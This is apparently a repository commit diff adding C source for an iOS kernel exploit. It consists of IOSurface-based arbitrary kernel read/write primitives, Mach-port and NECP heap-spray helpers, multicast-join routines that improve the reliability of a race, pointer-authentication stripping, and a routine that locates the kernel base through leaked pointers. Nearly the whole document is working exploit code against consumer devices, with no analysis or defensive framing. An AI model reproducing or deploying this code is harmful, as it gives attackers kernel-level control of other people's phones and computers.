kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
|
||||
kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
|
||||
kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
|
||||
kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,64 @@
|
||||
#include "kernel_base.h"
|
||||
|
||||
#include "kernel_rw.h"
|
||||
#include "port_utils.h"
|
||||
#include "spray.h"
|
||||
#include "xpaci.h" // ptrauth.h replacement
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
uint64_t g_self_proc = 0;
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall
|
||||
|
||||
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr)
|
||||
{
|
||||
uint64_t kernel_base = 0;
|
||||
const int receive_size = 0x10000; // Doesn't really matter
|
||||
const int data_kalloc_size = 0x50; // Doesn't really matter
|
||||
uint8_t *buf = calloc(1, receive_size);
|
||||
mach_port_t fileport = MACH_PORT_NULL;
|
||||
|
||||
// read out port pointer
|
||||
uint64_t port_addr = kread64(holder_addr + 8);
|
||||
|
||||
|
||||
|
||||
// init fileport
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
syscall(SYS_fileport_makeport, sock, &fileport);
|
||||
|
||||
// send new message contaning port
|
||||
port_receive_msg(holder, buf, receive_size);
|
||||
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder);
|
||||
|
||||
// read kernel text pointer fops
|
||||
uint64_t kmsg = kread64(port_addr + 0x30);
|
||||
uint64_t ikm_header = xpaci(kread64(kmsg + 0x18));
|
||||
uint64_t oolp_array = kread64(ikm_header + 0x24);
|
||||
uint64_t oolp = kread64(oolp_array);
|
||||
uint64_t kobject = xpaci(kread64(oolp + 0x58));
|
||||
uint64_t fops = kread64(kobject + 0x28);
|
||||
|
||||
uint64_t x68 = xpaci(kread64(kmsg + 0x68));
|
||||
uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50));
|
||||
uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30));
|
||||
g_self_proc = xpaci(kread64(self_task + 0x3c8));
|
||||
|
||||
// find kernel base
|
||||
uint64_t pos = (fops & ~0x3FFF);
|
||||
do
|
||||
{
|
||||
pos -= 0x4000;
|
||||
} while (kread32(pos) != 0xFEEDFACF);
|
||||
kernel_base = pos;
|
||||
|
||||
// cleanup
|
||||
close(sock);
|
||||
port_deallocate_n(&fileport, 1);
|
||||
|
||||
return kernel_base;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#ifndef __KERNEL_BASE_H__
|
||||
#define __KERNEL_BASE_H__
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,75 @@
|
||||
#include "kernel_rw.h"
|
||||
|
||||
#include "IOSurfaceRoot.h"
|
||||
|
||||
static io_connect_t _uc;
|
||||
static uint32_t _surf_id;
|
||||
static int _read_pipe;
|
||||
static int _write_pipe;
|
||||
static uint64_t _mapped_address;
|
||||
|
||||
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n)
|
||||
{
|
||||
memset(buf, 0x07, n);
|
||||
|
||||
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
|
||||
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
|
||||
*(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added)
|
||||
|
||||
_mapped_address = kaddr;
|
||||
}
|
||||
|
||||
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)
|
||||
{
|
||||
_uc = uc;
|
||||
_surf_id = surf_id;
|
||||
_read_pipe = read_pipe;
|
||||
_write_pipe = write_pipe;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint32_t kread32(uint64_t kaddr)
|
||||
{
|
||||
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
|
||||
|
||||
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
*(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
|
||||
*(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added)
|
||||
|
||||
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);
|
||||
}
|
||||
|
||||
uint64_t kread64(uint64_t kaddr)
|
||||
{
|
||||
uint8_t b[8];
|
||||
|
||||
*(uint32_t *)b = kread32(kaddr);
|
||||
*(uint32_t *)(b + 4) = kread32(kaddr + 4);
|
||||
|
||||
return *(uint64_t *)b;
|
||||
}
|
||||
|
||||
void kwrite32(uint64_t kaddr, uint32_t val)
|
||||
{
|
||||
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
|
||||
|
||||
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
|
||||
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
|
||||
*(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added)
|
||||
|
||||
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val);
|
||||
}
|
||||
|
||||
void kwrite64(uint64_t kaddr, uint64_t val)
|
||||
{
|
||||
kwrite32(kaddr, (uint32_t)val);
|
||||
kwrite32(kaddr + 4, (uint32_t)(val >> 32));
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
#ifndef __KERNEL_RW_H__
|
||||
#define __KERNEL_RW_H__
|
||||
|
||||
#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000
|
||||
|
||||
#include "iokit.h"
|
||||
|
||||
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n);
|
||||
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe);
|
||||
|
||||
uint32_t kread32(uint64_t kaddr);
|
||||
uint64_t kread64(uint64_t kaddr);
|
||||
|
||||
void kwrite32(uint64_t kaddr, uint32_t val);
|
||||
void kwrite64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
#include "mcast.h"
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <string.h>
|
||||
|
||||
int mcast_race_sock;
|
||||
|
||||
int mcast_join_group(int ip)
|
||||
{
|
||||
struct group_req mreq = { 0 };
|
||||
struct sockaddr_in6 sin6 = {0};
|
||||
|
||||
mreq.gr_interface = 1;
|
||||
|
||||
sin6.sin6_len = sizeof(sin6);
|
||||
sin6.sin6_family = AF_INET6;
|
||||
sin6.sin6_port = 7878;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
|
||||
|
||||
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
|
||||
|
||||
mreq.gr_interface = 1;
|
||||
|
||||
return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
|
||||
}
|
||||
|
||||
void mcast_increase_race_reliability(void)
|
||||
{
|
||||
struct group_req mreq = { 0 };
|
||||
struct sockaddr_in6 sin6 = {0};
|
||||
int s = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
|
||||
mreq.gr_interface = 1;
|
||||
|
||||
sin6.sin6_len = sizeof(sin6);
|
||||
sin6.sin6_family = AF_INET6;
|
||||
sin6.sin6_port = 7878;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
|
||||
|
||||
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
|
||||
|
||||
for (int i = 0; i < 3000; ++i)
|
||||
{
|
||||
((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000);
|
||||
setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#ifndef __MCAST_H__
|
||||
#define __MCAST_H__
|
||||
|
||||
extern int mcast_race_sock;
|
||||
|
||||
void mcast_increase_race_reliability(void);
|
||||
int mcast_join_group(int ip);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,16 @@
|
||||
#include "necp.h"
|
||||
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
||||
|
||||
int necp_open(int flags)
|
||||
{
|
||||
return syscall(SYS_necp_open, flags);
|
||||
}
|
||||
|
||||
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size)
|
||||
{
|
||||
return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size);
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#ifndef __NECP_H__
|
||||
#define __NECP_H__
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
|
||||
int necp_open(int flags);
|
||||
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,116 @@
|
||||
#include "port_utils.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy
|
||||
|
||||
mach_port_t port_new(void)
|
||||
{
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_port_t port;
|
||||
|
||||
mach_port_construct(mach_task_self(), &options, 0, &port);
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
void port_destroy(mach_port_t p)
|
||||
{
|
||||
mach_port_destroy(mach_task_self(), p);
|
||||
}
|
||||
|
||||
void port_deallocate(mach_port_t p)
|
||||
{
|
||||
mach_port_deallocate(mach_task_self(), p);
|
||||
}
|
||||
|
||||
void port_destroy_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_destroy(mach_task_self(), p[i]);
|
||||
p[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
void port_deallocate_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_deallocate(mach_task_self(), p[i]);
|
||||
}
|
||||
}
|
||||
|
||||
int port_has_msg(mach_port_t p)
|
||||
{
|
||||
mach_msg_header_t msg = { 0 };
|
||||
|
||||
mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0);
|
||||
|
||||
return msg.msgh_size;
|
||||
}
|
||||
|
||||
int port_peek_trailer_size(mach_port_t p)
|
||||
{
|
||||
mach_port_seqno_t msg_seqno = 0;
|
||||
mach_msg_size_t msg_size = 0;
|
||||
mach_msg_id_t msg_id = 0;
|
||||
mach_msg_trailer_t msg_trailer;
|
||||
mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
|
||||
|
||||
mach_port_peek(mach_task_self(),
|
||||
p,
|
||||
MACH_RCV_TRAILER_NULL,
|
||||
&msg_seqno,
|
||||
&msg_size,
|
||||
&msg_id,
|
||||
(mach_msg_trailer_info_t)&msg_trailer,
|
||||
&msg_trailer_size);
|
||||
|
||||
return msg_trailer.msgh_trailer_size;
|
||||
}
|
||||
|
||||
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)
|
||||
{
|
||||
mach_msg((mach_msg_header_t *)buf,
|
||||
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
|
||||
0,
|
||||
n,
|
||||
p,
|
||||
0,
|
||||
0);
|
||||
}
|
||||
|
||||
void port_receive_msg_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
uint8_t buf[0x1000];
|
||||
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
port_receive_msg(p[i], buf, 8);
|
||||
}
|
||||
}
|
||||
|
||||
void port_receive_msg_all_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
uint8_t buf[0x1000];
|
||||
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
do
|
||||
{
|
||||
port_receive_msg(p[i], buf, 8);
|
||||
} while (port_has_msg(p[i]));
|
||||
}
|
||||
}
|
||||
|
||||
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
port_receive_msg_n(p, count);
|
||||
port_deallocate_n(p, count);
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
p[i] = MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#ifndef __PORT_UTILS_H__
|
||||
#define __PORT_UTILS_H__
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
mach_port_t port_new(void);
|
||||
|
||||
void port_destroy(mach_port_t p);
|
||||
void port_deallocate(mach_port_t p);
|
||||
|
||||
void port_destroy_n(mach_port_t *p, unsigned int count);
|
||||
void port_deallocate_n(mach_port_t *p, unsigned int count);
|
||||
|
||||
int port_has_msg(mach_port_t p);
|
||||
int port_peek_trailer_size(mach_port_t p);
|
||||
|
||||
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size);
|
||||
void port_receive_msg_n(mach_port_t *p, unsigned int count);
|
||||
|
||||
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,214 @@
|
||||
#include "spray.h"
|
||||
|
||||
#include "necp.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count)
|
||||
{
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)data;
|
||||
|
||||
memset(msg, 0, sizeof(mach_msg_header_t));
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
}
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->msgh_remote_port = ports[i];
|
||||
msg->msgh_id = i;
|
||||
mach_msg_send(msg);
|
||||
}
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size)
|
||||
{
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)data;
|
||||
|
||||
memset(msg, 0, sizeof(mach_msg_header_t));
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
|
||||
mach_port_construct(mach_task_self(), &options, 0, &port);
|
||||
|
||||
msg->msgh_remote_port = port;
|
||||
mach_msg_send(msg);
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports)
|
||||
{
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)data;
|
||||
|
||||
memset(msg, 0, sizeof(mach_msg_header_t));
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
//memcpy(msg + 1, data, size-sizeof(*msg));
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->msgh_remote_port = ports[i];
|
||||
msg->msgh_id = i;
|
||||
mach_msg_send(msg);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count)
|
||||
{
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size);
|
||||
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
}
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->msgh_remote_port = ports[i];
|
||||
mach_msg_send(msg);
|
||||
}
|
||||
|
||||
free(msg);
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports)
|
||||
{
|
||||
return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50);
|
||||
}
|
||||
|
||||
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size)
|
||||
{
|
||||
struct default_msg
|
||||
{
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t desc;
|
||||
};
|
||||
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
||||
msg->hdr.msgh_size = data_kalloc_size;
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->desc.deallocate = 0;
|
||||
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
|
||||
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg->desc.count = size/8;
|
||||
msg->desc.address = (void *)ool_ports;
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
}
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->hdr.msgh_remote_port = ports[i];
|
||||
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
|
||||
if (kr) {
|
||||
*(int *)1 = 0;
|
||||
}
|
||||
}
|
||||
|
||||
free(msg);
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p)
|
||||
{
|
||||
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p);
|
||||
}
|
||||
|
||||
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p)
|
||||
{
|
||||
struct default_msg
|
||||
{
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t desc;
|
||||
};
|
||||
|
||||
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
||||
msg->hdr.msgh_size = data_kalloc_size;
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->desc.deallocate = 0;
|
||||
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
|
||||
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg->desc.count = size/8;
|
||||
msg->desc.address = (void *)ool_ports;
|
||||
|
||||
msg->hdr.msgh_remote_port = p;
|
||||
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
|
||||
if (kr) {
|
||||
*(int *)1 = 0;
|
||||
}
|
||||
|
||||
free(msg);
|
||||
}
|
||||
|
||||
|
||||
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size)
|
||||
{
|
||||
mach_msg_base_t *msg = data;
|
||||
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->header.msgh_remote_port = port;
|
||||
msg->header.msgh_size = (mach_msg_size_t)size;
|
||||
|
||||
return mach_msg_send(&msg->header);
|
||||
}
|
||||
|
||||
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context)
|
||||
{
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, context, &ports[i]);
|
||||
}
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
mach_port_t *spray_ports(unsigned int count)
|
||||
{
|
||||
return spray_ports_with_context(count, 0);
|
||||
}
|
||||
|
||||
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz)
|
||||
{
|
||||
uint8_t if_id[0x10];
|
||||
return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
#ifndef __SPRAY_H__
|
||||
#define __SPRAY_H__
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size);
|
||||
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count);
|
||||
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports);
|
||||
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports);
|
||||
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size);
|
||||
|
||||
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p);
|
||||
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p);
|
||||
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz);
|
||||
|
||||
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size);
|
||||
|
||||
mach_port_t *spray_ports(unsigned int count);
|
||||
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context);
|
||||
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,18 @@
|
||||
// ptrauth.h replacement
|
||||
|
||||
static uint64_t __attribute((naked)) __xpaci(uint64_t a)
|
||||
{
|
||||
asm(".long 0xDAC143E0"); // XPACI X0
|
||||
asm("ret");
|
||||
}
|
||||
|
||||
static uint64_t xpaci(uint64_t a)
|
||||
{
|
||||
// If a looks like a non-pac'd pointer just return it
|
||||
if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000)
|
||||
{
|
||||
return a;
|
||||
}
|
||||
|
||||
return __xpaci(a);
|
||||
}
|
||||
Reference in new issue
Block a user